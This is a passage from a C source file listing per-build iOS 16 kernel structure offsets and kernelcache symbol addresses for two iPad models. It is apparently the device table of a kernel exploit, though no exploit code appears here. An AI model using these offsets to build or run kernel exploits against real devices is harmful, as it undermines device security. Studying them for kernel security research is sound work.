.proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a691190,\n            .kernelcache__gPhysBase = 0xfffffff0078b81b0,\n            .kernelcache__gPhysSize = 0xfffffff0078b81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0078b6390,\n            .kernelcache__perfmon_devices = 0xfffffff00a6cc3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fad05c,\n            .kernelcache__ptov_table = 0xfffffff00786b3b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a6cb800,\n            .kernelcache__vm_pages = 0xfffffff0078680d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00786a370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a6cb7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007ffd074,\n        },\n\n\n       // iOS 16.4\n           {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a765208,\n            .kernelcache__gPhysBase = 0xfffffff007997fc0,\n            .kernelcache__gPhysSize = 0xfffffff007997fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007996198,\n            .kernelcache__perfmon_devices = 0xfffffff00a7a3520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fc9210,\n            .kernelcache__ptov_table = 0xfffffff00794b180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a7a2990,\n            .kernelcache__vm_pages = 0xfffffff007947ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00794a130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a7a2988,\n            .kernelcache__vn_kqfilter = 0xfffffff008015ae0,\n        },\n\n\n          // iOS 16.4.1\n           {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a765208,\n            .kernelcache__gPhysBase = 0xfffffff007997fc0,\n            .kernelcache__gPhysSize = 0xfffffff007997fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007996198,\n            .kernelcache__perfmon_devices = 0xfffffff00a7a3520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fc9210,\n            .kernelcache__ptov_table = 0xfffffff00794b180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a7a2990,\n            .kernelcache__vm_pages = 0xfffffff007947ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00794a130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a7a2988,\n            .kernelcache__vn_kqfilter = 0xfffffff008015ae0,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a76d208,\n            .kernelcache__gPhysBase = 0xfffffff007998100,\n            .kernelcache__gPhysSize = 0xfffffff007998100 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0079962d8,\n            .kernelcache__perfmon_devices = 0xfffffff00a7ab520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fc9480,\n            .kernelcache__ptov_table = 0xfffffff00794b180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a7aa990,\n            .kernelcache__vm_pages = 0xfffffff007947ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff00794a130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a7aa988,\n            .kernelcache__vn_kqfilter = 0xfffffff008015fe8,\n        },\n\n    // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad14,2\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a819a30,\n            .kernelcache__gPhysBase = 0xfffffff0079b02a8,\n            .kernelcache__gPhysSize = 0xfffffff0079b02a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff0079ae460,\n            .kernelcache__perfmon_devices = 0xfffffff00a859550,\n            .kernelcache__perfmon_dev_open = 0xfffffff007fedb9c,\n            .kernelcache__ptov_table = 0xfffffff0079639c0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a858910,\n            .kernelcache__vm_pages = 0xfffffff007960110,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff007962970,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a858908,\n            .kernelcache__vn_kqfilter = 0xfffffff00803a0b8,\n        },\n\n    // iPad Air 4th Wifi//\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3d1190,\n            .kernelcache__gPhysBase = 0xfffffff00783c0c8,\n            .kernelcache__gPhysSize = 0xfffffff00783c0c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783a2a8,\n            .kernelcache__perfmon_devices = 0xfffffff00a40c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef41c4,\n            .kernelcache__ptov_table = 0xfffffff0077ef378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a40b800,\n            .kernelcache__vm_pages = 0xfffffff0077ec090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ee328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a40b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f46780,\n        },\n\n        //iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3dd190,\n            .kernelcache__gPhysBase = 0xfffffff00783c1b0,\n            .kernelcache__gPhysSize = 0xfffffff00783c1b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783a390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4183b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef80f4,\n            .kernelcache__ptov_table = 0xfffffff0077ef3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a417800,\n            .kernelcache__vm_pages = 0xfffffff0077ec0d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ee368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4177f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f4a6a0,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,1\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3dd190,\n            .kernelcache__gPhysBase = 0xfffffff00783c1b0,\n            .kernelcache__gPhysSize = 0xfffffff00783c1b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783a390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4183b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef80f4,\n            .kernelcache__ptov_table = 0xfffffff0077ef3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a417800,\n            .kernelcache__vm_pages = 0xfffffff0077ec0d0,\n            